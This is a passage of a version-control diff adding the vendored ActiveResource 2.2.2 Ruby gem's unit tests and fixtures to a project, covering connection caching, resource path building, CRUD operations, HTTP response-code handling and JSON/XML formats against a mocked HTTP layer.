+    fruit.site = 'http://market'
+    assert_equal fruit.connection.site, apple.connection.site
+    first_connection = apple.connection.object_id
+
+    fruit.site = 'http://supermarket'
+    assert_equal fruit.connection.site, apple.connection.site
+    second_connection = apple.connection.object_id
+    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
+  end
+
+  def test_updating_baseclass_user_wipes_descendent_cached_connection_objects
+    # Subclasses are always equal to superclass user when not overridden
+    fruit = Class.new(ActiveResource::Base)
+    apple = Class.new(fruit)
+    fruit.site = 'http://market'
+
+    fruit.user = 'david'
+    assert_equal fruit.connection.user, apple.connection.user
+    first_connection = apple.connection.object_id
+
+    fruit.user = 'john'
+    assert_equal fruit.connection.user, apple.connection.user
+    second_connection = apple.connection.object_id
+    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
+  end
+
+  def test_updating_baseclass_password_wipes_descendent_cached_connection_objects
+    # Subclasses are always equal to superclass password when not overridden
+    fruit = Class.new(ActiveResource::Base)
+    apple = Class.new(fruit)
+    fruit.site = 'http://market'
+
+    fruit.password = 'secret'
+    assert_equal fruit.connection.password, apple.connection.password
+    first_connection = apple.connection.object_id
+
+    fruit.password = 'supersecret'
+    assert_equal fruit.connection.password, apple.connection.password
+    second_connection = apple.connection.object_id
+    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
+  end
+
+  def test_updating_baseclass_timeout_wipes_descendent_cached_connection_objects
+    # Subclasses are always equal to superclass timeout when not overridden
+    fruit = Class.new(ActiveResource::Base)
+    apple = Class.new(fruit)
+    fruit.site = 'http://market'
+
+    fruit.timeout = 5
+    assert_equal fruit.connection.timeout, apple.connection.timeout
+    first_connection = apple.connection.object_id
+
+    fruit.timeout = 10
+    assert_equal fruit.connection.timeout, apple.connection.timeout
+    second_connection = apple.connection.object_id
+    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
+  end
+
+  def test_collection_name
+    assert_equal "people", Person.collection_name
+  end
+
+  def test_collection_path
+    assert_equal '/people.xml', Person.collection_path
+  end
+
+  def test_collection_path_with_parameters
+    assert_equal '/people.xml?gender=male', Person.collection_path(:gender => 'male')
+    assert_equal '/people.xml?gender=false', Person.collection_path(:gender => false)
+    assert_equal '/people.xml?gender=', Person.collection_path(:gender => nil)
+
+    assert_equal '/people.xml?gender=male', Person.collection_path('gender' => 'male')
+
+    # Use includes? because ordering of param hash is not guaranteed
+    assert Person.collection_path(:gender => 'male', :student => true).include?('/people.xml?')
+    assert Person.collection_path(:gender => 'male', :student => true).include?('gender=male')
+    assert Person.collection_path(:gender => 'male', :student => true).include?('student=true')
+
+    assert_equal '/people.xml?name%5B%5D=bob&name%5B%5D=your+uncle%2Bme&name%5B%5D=&name%5B%5D=false', Person.collection_path(:name => ['bob', 'your uncle+me', nil, false])
+
+    assert_equal '/people.xml?struct%5Ba%5D%5B%5D=2&struct%5Ba%5D%5B%5D=1&struct%5Bb%5D=fred', Person.collection_path(:struct => {:a => [2,1], 'b' => 'fred'})
+  end
+
+  def test_custom_element_path
+    assert_equal '/people/1/addresses/1.xml', StreetAddress.element_path(1, :person_id => 1)
+    assert_equal '/people/1/addresses/1.xml', StreetAddress.element_path(1, 'person_id' => 1)
+    assert_equal '/people/Greg/addresses/1.xml', StreetAddress.element_path(1, 'person_id' => 'Greg')
+  end
+
+  def test_custom_element_path_with_redefined_to_param
+    Person.module_eval do
+      alias_method :original_to_param_element_path, :to_param
+       def to_param
+         name
+       end
+    end
+
+    # Class method.
+    assert_equal '/people/Greg.xml', Person.element_path('Greg')
+
+    # Protected Instance method.
+    assert_equal '/people/Greg.xml', Person.find('Greg').send(:element_path)
+
+    ensure
+      # revert back to original
+      Person.module_eval do
+        # save the 'new' to_param so we don't get a warning about discarding the method
+        alias_method :element_path_to_param, :to_param
+        alias_method :to_param, :original_to_param_element_path
+      end
+  end
+
+  def test_custom_element_path_with_parameters
+    assert_equal '/people/1/addresses/1.xml?type=work', StreetAddress.element_path(1, :person_id => 1, :type => 'work')
+    assert_equal '/people/1/addresses/1.xml?type=work', StreetAddress.element_path(1, 'person_id' => 1, :type => 'work')
+    assert_equal '/people/1/addresses/1.xml?type=work', StreetAddress.element_path(1, :type => 'work', :person_id => 1)
+    assert_equal '/people/1/addresses/1.xml?type%5B%5D=work&type%5B%5D=play+time', StreetAddress.element_path(1, :person_id => 1, :type => ['work', 'play time'])
+  end
+
+  def test_custom_element_path_with_prefix_and_parameters
+    assert_equal '/people/1/addresses/1.xml?type=work', StreetAddress.element_path(1, {:person_id => 1}, {:type => 'work'})
+  end
+
+  def test_custom_collection_path
+    assert_equal '/people/1/addresses.xml', StreetAddress.collection_path(:person_id => 1)
+    assert_equal '/people/1/addresses.xml', StreetAddress.collection_path('person_id' => 1)
+  end
+
+  def test_custom_collection_path_with_parameters
+    assert_equal '/people/1/addresses.xml?type=work', StreetAddress.collection_path(:person_id => 1, :type => 'work')
+    assert_equal '/people/1/addresses.xml?type=work', StreetAddress.collection_path('person_id' => 1, :type => 'work')
+  end
+
+  def test_custom_collection_path_with_prefix_and_parameters
+    assert_equal '/people/1/addresses.xml?type=work', StreetAddress.collection_path({:person_id => 1}, {:type => 'work'})
+  end
+
+  def test_custom_element_name
+    assert_equal 'address', StreetAddress.element_name
+  end
+
+  def test_custom_collection_name
+    assert_equal 'addresses', StreetAddress.collection_name
+  end
+
+  def test_prefix
+    assert_equal "/", Person.prefix
+    assert_equal Set.new, Person.__send__(:prefix_parameters)
+  end
+
+  def test_set_prefix
+    SetterTrap.rollback_sets(Person) do |person_class|
+      person_class.prefix = "the_prefix"
+      assert_equal "the_prefix", person_class.prefix
+    end
+  end
+
+  def test_set_prefix_with_inline_keys
+    SetterTrap.rollback_sets(Person) do |person_class|
+      person_class.prefix = "the_prefix:the_param"
+      assert_equal "the_prefixthe_param_value", person_class.prefix(:the_param => "the_param_value")
+    end
+  end
+
+  def test_set_prefix_twice_should_clear_params
+    SetterTrap.rollback_sets(Person) do |person_class|
+      person_class.prefix = "the_prefix/:the_param1"
+      assert_equal Set.new([:the_param1]), person_class.prefix_parameters
+      person_class.prefix = "the_prefix/:the_param2"
+      assert_equal Set.new([:the_param2]), person_class.prefix_parameters
+    end
+  end
+
+  def test_set_prefix_with_default_value
+    SetterTrap.rollback_sets(Person) do |person_class|
+      person_class.set_prefix
+      assert_equal "/", person_class.prefix
+    end
+  end
+
+  def test_custom_prefix
+    assert_equal '/people//', StreetAddress.prefix
+    assert_equal '/people/1/', StreetAddress.prefix(:person_id => 1)
+    assert_equal [:person_id].to_set, StreetAddress.__send__(:prefix_parameters)
+  end
+
+  def test_find_by_id
+    matz = Person.find(1)
+    assert_kind_of Person, matz
+    assert_equal "Matz", matz.name
+    assert matz.name?
+  end
+
+  def test_respond_to
+    matz = Person.find(1)
+    assert matz.respond_to?(:name)
+    assert matz.respond_to?(:name=)
+    assert matz.respond_to?(:name?)
+    assert !matz.respond_to?(:super_scalable_stuff)
+  end
+
+  def test_find_by_id_with_custom_prefix
+    addy = StreetAddress.find(1, :params => { :person_id => 1 })
+    assert_kind_of StreetAddress, addy
+    assert_equal '12345 Street', addy.street
+  end
+
+  def test_find_all
+    all = Person.find(:all)
+    assert_equal 2, all.size
+    assert_kind_of Person, all.first
+    assert_equal "Matz", all.first.name
+    assert_equal "David", all.last.name
+  end
+
+  def test_find_first
+    matz = Person.find(:first)
+    assert_kind_of Person, matz
+    assert_equal "Matz", matz.name
+  end
+
+  def test_find_last
+    david = Person.find(:last)
+    assert_kind_of Person, david
+    assert_equal 'David', david.name
+  end
+
+  def test_custom_header
+    Person.headers['key'] = 'value'
+    assert_raises(ActiveResource::ResourceNotFound) { Person.find(4) }
+  ensure
+    Person.headers.delete('key')
+  end
+
+  def test_find_by_id_not_found
+    assert_raises(ActiveResource::ResourceNotFound) { Person.find(99) }
+    assert_raises(ActiveResource::ResourceNotFound) { StreetAddress.find(1) }
+  end
+
+  def test_find_all_by_from
+    ActiveResource::HttpMock.respond_to { |m| m.get "/companies/1/people.xml", {}, @people_david }
+
+    people = Person.find(:all, :from => "/companies/1/people.xml")
+    assert_equal 1, people.size
+    assert_equal "David", people.first.name
+  end
+
+  def test_find_all_by_from_with_options
+    ActiveResource::HttpMock.respond_to { |m| m.get "/companies/1/people.xml", {}, @people_david }
+
+    people = Person.find(:all, :from => "/companies/1/people.xml")
+    assert_equal 1, people.size
+    assert_equal "David", people.first.name
+  end
+
+  def test_find_all_by_symbol_from
+    ActiveResource::HttpMock.respond_to { |m| m.get "/people/managers.xml", {}, @people_david }
+
+    people = Person.find(:all, :from => :managers)
+    assert_equal 1, people.size
+    assert_equal "David", people.first.name
+  end
+
+  def test_find_single_by_from
+    ActiveResource::HttpMock.respond_to { |m| m.get "/companies/1/manager.xml", {}, @david }
+
+    david = Person.find(:one, :from => "/companies/1/manager.xml")
+    assert_equal "David", david.name
+  end
+
+  def test_find_single_by_symbol_from
+    ActiveResource::HttpMock.respond_to { |m| m.get "/people/leader.xml", {}, @david }
+
+    david = Person.find(:one, :from => :leader)
+    assert_equal "David", david.name
+  end
+
+  def test_save
+    rick = Person.new
+    assert_equal true, rick.save
+    assert_equal '5', rick.id
+  end
+
+  def test_id_from_response
+    p = Person.new
+    resp = {'Location' => '/foo/bar/1'}
+    assert_equal '1', p.__send__(:id_from_response, resp)
+
+    resp['Location'] << '.xml'
+    assert_equal '1', p.__send__(:id_from_response, resp)
+  end
+
+  def test_create_with_custom_prefix
+    matzs_house = StreetAddress.new(:person_id => 1)
+    matzs_house.save
+    assert_equal '5', matzs_house.id
+  end
+
+  # Test that loading a resource preserves its prefix_options.
+  def test_load_preserves_prefix_options
+    address = StreetAddress.find(1, :params => { :person_id => 1 })
+    ryan = Person.new(:id => 1, :name => 'Ryan', :address => address)
+    assert_equal address.prefix_options, ryan.address.prefix_options
+  end
+
+  def test_reload_works_with_prefix_options
+    address = StreetAddress.find(1, :params => { :person_id => 1 })
+    assert_equal address, address.reload
+  end
+
+  def test_reload_with_redefined_to_param
+    Person.module_eval do
+      alias_method :original_to_param_reload, :to_param
+       def to_param
+         name
+       end
+    end
+
+    person = Person.find('Greg')
+    assert_equal person, person.reload
+
+    ensure
+      # revert back to original
+      Person.module_eval do
+        # save the 'new' to_param so we don't get a warning about discarding the method
+        alias_method :reload_to_param, :to_param
+        alias_method :to_param, :original_to_param_reload
+      end
+  end
+
+  def test_reload_works_without_prefix_options
+    person = Person.find(:first)
+    assert_equal person, person.reload
+  end
+
+
+  def test_create
+    rick = Person.create(:name => 'Rick')
+    assert rick.valid?
+    assert !rick.new?
+    assert_equal '5', rick.id
+
+    # test additional attribute returned on create
+    assert_equal 25, rick.age
+
+    # Test that save exceptions get bubbled up too
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.post   "/people.xml", {}, nil, 409
+    end
+    assert_raises(ActiveResource::ResourceConflict) { Person.create(:name => 'Rick') }
+  end
+
+  def test_clone
+   matz = Person.find(1)
+   matz_c = matz.clone
+   assert matz_c.new?
+   matz.attributes.each do |k, v|
+     assert_equal v, matz_c.send(k) if k != Person.primary_key
+   end
+ end
+
+ def test_nested_clone
+   addy = StreetAddress.find(1, :params => {:person_id => 1})
+   addy_c = addy.clone
+   assert addy_c.new?
+   addy.attributes.each do |k, v|
+     assert_equal v, addy_c.send(k) if k != StreetAddress.primary_key
+   end
+   assert_equal addy.prefix_options, addy_c.prefix_options
+ end
+
+ def test_complex_clone
+   matz = Person.find(1)
+   matz.address = StreetAddress.find(1, :params => {:person_id => matz.id})
+   matz.non_ar_hash = {:not => "an ARes instance"}
+   matz.non_ar_arr = ["not", "ARes"]
+   matz_c = matz.clone
+   assert matz_c.new?
+   assert_raises(NoMethodError) {matz_c.address}
+   assert_equal matz.non_ar_hash, matz_c.non_ar_hash
+   assert_equal matz.non_ar_arr, matz_c.non_ar_arr
+
+   # Test that actual copy, not just reference copy
+   matz.non_ar_hash[:not] = "changed"
+   assert_not_equal matz.non_ar_hash, matz_c.non_ar_hash
+ end
+
+  def test_update
+    matz = Person.find(:first)
+    matz.name = "David"
+    assert_kind_of Person, matz
+    assert_equal "David", matz.name
+    assert_equal true, matz.save
+  end
+
+  def test_update_with_custom_prefix_with_specific_id
+    addy = StreetAddress.find(1, :params => { :person_id => 1 })
+    addy.street = "54321 Street"
+    assert_kind_of StreetAddress, addy
+    assert_equal "54321 Street", addy.street
+    addy.save
+  end
+
+  def test_update_with_custom_prefix_without_specific_id
+    addy = StreetAddress.find(:first, :params => { :person_id => 1 })
+    addy.street = "54321 Lane"
+    assert_kind_of StreetAddress, addy
+    assert_equal "54321 Lane", addy.street
+    addy.save
+  end
+
+  def test_update_conflict
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.get "/people/2.xml", {}, @david
+      mock.put "/people/2.xml", @default_request_headers, nil, 409
+    end
+    assert_raises(ActiveResource::ResourceConflict) { Person.find(2).save }
+  end
+
+  def test_destroy
+    assert Person.find(1).destroy
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.get "/people/1.xml", {}, nil, 404
+    end
+    assert_raises(ActiveResource::ResourceNotFound) { Person.find(1).destroy }
+  end
+
+  def test_destroy_with_custom_prefix
+    assert StreetAddress.find(1, :params => { :person_id => 1 }).destroy
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.get "/people/1/addresses/1.xml", {}, nil, 404
+    end
+    assert_raises(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
+  end
+
+  def test_delete
+    assert Person.delete(1)
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.get "/people/1.xml", {}, nil, 404
+    end
+    assert_raises(ActiveResource::ResourceNotFound) { Person.find(1) }
+  end
+
+  def test_delete_with_custom_prefix
+    assert StreetAddress.delete(1, :person_id => 1)
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.get "/people/1/addresses/1.xml", {}, nil, 404
+    end
+    assert_raises(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
+  end
+
+  def test_exists
+    # Class method.
+    assert !Person.exists?(nil)
+    assert Person.exists?(1)
+    assert !Person.exists?(99)
+
+    # Instance method.
+    assert !Person.new.exists?
+    assert Person.find(1).exists?
+    assert !Person.new(:id => 99).exists?
+
+    # Nested class method.
+    assert StreetAddress.exists?(1,  :params => { :person_id => 1 })
+    assert !StreetAddress.exists?(1, :params => { :person_id => 2 })
+    assert !StreetAddress.exists?(2, :params => { :person_id => 1 })
+
+    # Nested instance method.
+    assert StreetAddress.find(1, :params => { :person_id => 1 }).exists?
+    assert !StreetAddress.new({:id => 1, :person_id => 2}).exists?
+    assert !StreetAddress.new({:id => 2, :person_id => 1}).exists?
+  end
+
+  def test_exists_with_redefined_to_param
+    Person.module_eval do
+      alias_method :original_to_param_exists, :to_param
+       def to_param
+         name
+       end
+    end
+
+    # Class method.
+    assert Person.exists?('Greg')
+
+    # Instance method.
+    assert Person.find('Greg').exists?
+
+    # Nested class method.
+    assert StreetAddress.exists?(1,  :params => { :person_id => Person.find('Greg').to_param })
+
+    # Nested instance method.
+    assert StreetAddress.find(1, :params => { :person_id => Person.find('Greg').to_param }).exists?
+
+    ensure
+      # revert back to original
+      Person.module_eval do
+        # save the 'new' to_param so we don't get a warning about discarding the method
+        alias_method :exists_to_param, :to_param
+        alias_method :to_param, :original_to_param_exists
+      end
+  end
+
+  def test_to_xml
+    matz = Person.find(1)
+    xml = matz.encode
+    assert xml.starts_with?('<?xml version="1.0" encoding="UTF-8"?>')
+    assert xml.include?('<name>Matz</name>')
+    assert xml.include?('<id type="integer">1</id>')
+  end
+
+  def test_to_param_quacks_like_active_record
+    new_person = Person.new
+    assert_nil new_person.to_param
+    matz = Person.find(1)
+    assert_equal '1', matz.to_param
+  end
+
+  def test_parse_deep_nested_resources
+    luis = Customer.find(1)
+    assert_kind_of Customer, luis
+    luis.friends.each do |friend|
+      assert_kind_of Customer::Friend, friend
+      friend.brothers.each do |brother|
+        assert_kind_of Customer::Friend::Brother, brother
+        brother.children.each do |child|
+          assert_kind_of Customer::Friend::Brother::Child, child
+        end
+      end
+    end
+  end
+
+  def test_load_yaml_array
+    assert_nothing_raised do
+      marty = Person.find(5)
+      assert_equal 3, marty.colors.size
+      marty.colors.each do |color|
+        assert_kind_of String, color
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/connection_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/connection_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/connection_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,198 @@
+require 'abstract_unit'
+
+class ConnectionTest < Test::Unit::TestCase
+  ResponseCodeStub = Struct.new(:code)
+
+  def setup
+    @conn = ActiveResource::Connection.new('http://localhost')
+    @matz  = { :id => 1, :name => 'Matz' }
+    @david = { :id => 2, :name => 'David' }
+    @people = [ @matz, @david ].to_xml(:root => 'people')
+    @people_single = [ @matz ].to_xml(:root => 'people-single-elements')
+    @people_empty = [ ].to_xml(:root => 'people-empty-elements')
+    @matz = @matz.to_xml(:root => 'person')
+    @david = @david.to_xml(:root => 'person')
+    @header = {'key' => 'value'}.freeze
+
+    @default_request_headers = { 'Content-Type' => 'application/xml' }
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.get    "/people/2.xml", @header, @david
+      mock.get    "/people.xml", {}, @people
+      mock.get    "/people_single_elements.xml", {}, @people_single
+      mock.get    "/people_empty_elements.xml", {}, @people_empty
+      mock.get    "/people/1.xml", {}, @matz
+      mock.put    "/people/1.xml", {}, nil, 204
+      mock.put    "/people/2.xml", {}, @header, 204
+      mock.delete "/people/1.xml", {}, nil, 200
+      mock.delete "/people/2.xml", @header, nil, 200
+      mock.post   "/people.xml",   {}, nil, 201, 'Location' => '/people/5.xml'
+      mock.post   "/members.xml",  {}, @header, 201, 'Location' => '/people/6.xml'
+      mock.head   "/people/1.xml", {}, nil, 200
+    end
+  end
+
+  def test_handle_response
+    # 2xx and 3xx are valid responses.
+    [200, 299, 300, 399].each do |code|
+      expected = ResponseCodeStub.new(code)
+      assert_equal expected, handle_response(expected)
+    end
+
+    # 400 is a bad request (e.g. malformed URI or missing request parameter)
+    assert_response_raises ActiveResource::BadRequest, 400
+
+    # 401 is an unauthorized request
+    assert_response_raises ActiveResource::UnauthorizedAccess, 401
+
+    # 403 is a forbidden requst (and authorizing will not help)
+    assert_response_raises ActiveResource::ForbiddenAccess, 403
+
+    # 404 is a missing resource.
+    assert_response_raises ActiveResource::ResourceNotFound, 404
+
+    # 405 is a missing not allowed error
+    assert_response_raises ActiveResource::MethodNotAllowed, 405
+
+    # 409 is an optimistic locking error
+    assert_response_raises ActiveResource::ResourceConflict, 409
+
+    # 422 is a validation error
+    assert_response_raises ActiveResource::ResourceInvalid, 422
+
+    # 4xx are client errors.
+    [402, 499].each do |code|
+      assert_response_raises ActiveResource::ClientError, code
+    end
+
+    # 5xx are server errors.
+    [500, 599].each do |code|
+      assert_response_raises ActiveResource::ServerError, code
+    end
+
+    # Others are unknown.
+    [199, 600].each do |code|
+      assert_response_raises ActiveResource::ConnectionError, code
+    end
+  end
+
+  ResponseHeaderStub = Struct.new(:code, :message, 'Allow')
+  def test_should_return_allowed_methods_for_method_no_allowed_exception
+    begin
+      handle_response ResponseHeaderStub.new(405, "HTTP Failed...", "GET, POST")
+    rescue ActiveResource::MethodNotAllowed => e
+      assert_equal "Failed with 405 HTTP Failed...", e.message
+      assert_equal [:get, :post], e.allowed_methods
+    end
+  end
+
+  def test_initialize_raises_argument_error_on_missing_site
+    assert_raise(ArgumentError) { ActiveResource::Connection.new(nil) }
+  end
+
+  def test_site_accessor_accepts_uri_or_string_argument
+    site = URI.parse("http://localhost")
+
+    assert_raise(URI::InvalidURIError) { @conn.site = nil }
+
+    assert_nothing_raised { @conn.site = "http://localhost" }
+    assert_equal site, @conn.site
+
+    assert_nothing_raised { @conn.site = site }
+    assert_equal site, @conn.site
+  end
+
+  def test_timeout_accessor
+    @conn.timeout = 5
+    assert_equal 5, @conn.timeout
+  end
+
+  def test_get
+    matz = @conn.get("/people/1.xml")
+    assert_equal "Matz", matz["name"]
+  end
+
+  def test_head
+    response = @conn.head("/people/1.xml")
+    assert response.body.blank?
+    assert_equal 200, response.code
+  end
+
+  def test_get_with_header
+    david = @conn.get("/people/2.xml", @header)
+    assert_equal "David", david["name"]
+  end
+
+  def test_get_collection
+    people = @conn.get("/people.xml")
+    assert_equal "Matz", people[0]["name"]
+    assert_equal "David", people[1]["name"]
+  end
+  
+  def test_get_collection_single
+    people = @conn.get("/people_single_elements.xml")
+    assert_equal "Matz", people[0]["name"]
+  end
+  
+  def test_get_collection_empty
+    people = @conn.get("/people_empty_elements.xml")
+    assert_equal [], people
+  end
+
+  def test_post
+    response = @conn.post("/people.xml")
+    assert_equal "/people/5.xml", response["Location"]
+  end
+
+  def test_post_with_header
+    response = @conn.post("/members.xml", @header)
+    assert_equal "/people/6.xml", response["Location"]
+  end
+
+  def test_put
+    response = @conn.put("/people/1.xml")
+    assert_equal 204, response.code
+  end
+
+  def test_put_with_header
+    response = @conn.put("/people/2.xml", @header)
+    assert_equal 204, response.code
+  end
+
+  def test_delete
+    response = @conn.delete("/people/1.xml")
+    assert_equal 200, response.code
+  end
+
+  def test_delete_with_header
+    response = @conn.delete("/people/2.xml", @header)
+    assert_equal 200, response.code
+  end
+
+  uses_mocha('test_timeout, test_accept_http_header') do
+    def test_timeout
+      @http = mock('new Net::HTTP')
+      @conn.expects(:http).returns(@http)
+      @http.expects(:get).raises(Timeout::Error, 'execution expired')
+      assert_raise(ActiveResource::TimeoutError) { @conn.get('/people_timeout.xml') }
+    end
+
+    def test_accept_http_header
+      @http = mock('new Net::HTTP')
+      @conn.expects(:http).returns(@http)
+      path = '/people/1.xml'
+      @http.expects(:get).with(path,  {'Accept' => 'application/xhtml+xml'}).returns(ActiveResource::Response.new(@matz, 200, {'Content-Type' => 'text/xhtml'}))
+      assert_nothing_raised(Mocha::ExpectationError) { @conn.get(path, {'Accept' => 'application/xhtml+xml'}) }
+    end
+  end
+
+  protected
+    def assert_response_raises(klass, code)
+      assert_raise(klass, "Expected response code #{code} to raise #{klass}") do
+        handle_response ResponseCodeStub.new(code)
+      end
+    end
+
+    def handle_response(response)
+      @conn.__send__(:handle_response, response)
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/beast.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/beast.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/beast.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+class BeastResource < ActiveResource::Base
+  self.site = 'http://beast.caboo.se'
+  site.user = 'foo'
+  site.password = 'bar'
+end
+
+class Forum < BeastResource
+  # taken from BeastResource
+  # self.site = 'http://beast.caboo.se'
+end
+
+class Topic < BeastResource
+  self.site += '/forums/:forum_id'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/customer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/customer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/customer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Customer < ActiveResource::Base
+  self.site = "http://37s.sunrise.i:3000"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/person.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/person.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/person.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Person < ActiveResource::Base
+  self.site = "http://37s.sunrise.i:3000"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/street_address.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/street_address.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures/street_address.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class StreetAddress < ActiveResource::Base
+  self.site = "http://37s.sunrise.i:3000/people/:person_id/"
+  self.element_name = 'address'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/format_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/format_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/format_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,112 @@
+require 'abstract_unit'
+require "fixtures/person"
+require "fixtures/street_address"
+
+class FormatTest < Test::Unit::TestCase
+  def setup
+    @matz  = { :id => 1, :name => 'Matz' }
+    @david = { :id => 2, :name => 'David' }
+
+    @programmers = [ @matz, @david ]
+  end
+
+  def test_http_format_header_name
+    header_name = ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:get]
+    assert_equal 'Accept', header_name
+
+    headers_names = [ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:put], ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:post]]
+    headers_names.each{|header_name| assert_equal 'Content-Type', header_name}
+  end
+
+  def test_formats_on_single_element
+    for format in [ :json, :xml ]
+      using_format(Person, format) do
+        ActiveResource::HttpMock.respond_to.get "/people/1.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@david)
+        assert_equal @david[:name], Person.find(1).name
+      end
+    end
+  end
+
+  def test_formats_on_collection
+    for format in [ :json, :xml ]
+      using_format(Person, format) do
+        ActiveResource::HttpMock.respond_to.get "/people.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@programmers)
+        remote_programmers = Person.find(:all)
+        assert_equal 2, remote_programmers.size
+        assert remote_programmers.select { |p| p.name == 'David' }
+      end
+    end
+  end
+
+  def test_formats_on_custom_collection_method
+    for format in [ :json, :xml ]
+      using_format(Person, format) do
+        ActiveResource::HttpMock.respond_to.get "/people/retrieve.#{format}?name=David", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode([@david])
+        remote_programmers = Person.get(:retrieve, :name => 'David')
+        assert_equal 1, remote_programmers.size
+        assert_equal @david[:id], remote_programmers[0]['id']
+        assert_equal @david[:name], remote_programmers[0]['name']
+      end
+    end
+  end
+
+  def test_formats_on_custom_element_method
+    for format in [ :json, :xml ]
+      using_format(Person, format) do
+        ActiveResource::HttpMock.respond_to do |mock|
+          mock.get "/people/2.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@david)
+          mock.get "/people/2/shallow.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@david)
+        end
+        remote_programmer = Person.find(2).get(:shallow)
+        assert_equal @david[:id], remote_programmer['id']
+        assert_equal @david[:name], remote_programmer['name']
+      end
+    end
+
+    for format in [ :json, :xml ]
+      ryan = ActiveResource::Formats[format].encode({ :name => 'Ryan' })
+      using_format(Person, format) do
+        remote_ryan = Person.new(:name => 'Ryan')
+        ActiveResource::HttpMock.respond_to.post "/people.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, ryan, 201, {'Location' => "/people/5.#{format}"}
+        remote_ryan.save
+
+        remote_ryan = Person.new(:name => 'Ryan')
+        ActiveResource::HttpMock.respond_to.post "/people/new/register.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, ryan, 201, {'Location' => "/people/5.#{format}"}
+        assert_equal ActiveResource::Response.new(ryan, 201, {'Location' => "/people/5.#{format}"}), remote_ryan.post(:register)
+      end
+    end
+  end
+
+  def test_setting_format_before_site
+    resource = Class.new(ActiveResource::Base)
+    resource.format = :json
+    resource.site   = 'http://37s.sunrise.i:3000'
+    assert_equal ActiveResource::Formats[:json], resource.connection.format
+  end
+
+  def test_serialization_of_nested_resource
+   address  = { :street => '12345 Street' }
+   person  = { :name=> 'Rus', :address => address}
+
+   [:json, :xml].each do |format|
+     encoded_person = ActiveResource::Formats[format].encode(person)
+     assert_match /12345 Street/, encoded_person
+     remote_person = Person.new(person.update({:address => StreetAddress.new(address)}))
+     assert_kind_of StreetAddress, remote_person.address
+     using_format(Person, format) do
+       ActiveResource::HttpMock.respond_to.post "/people.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, encoded_person, 201, {'Location' => "/people/5.#{format}"}
+       remote_person.save
+     end
+   end
+ end
+
+  private
+    def using_format(klass, mime_type_reference)
+      previous_format = klass.format
+      klass.format = mime_type_reference
+
+      yield
+    ensure
+      klass.format = previous_format
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/setter_trap.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/setter_trap.rb	2008-12-20 20:26:23 UTC (rev 1003)
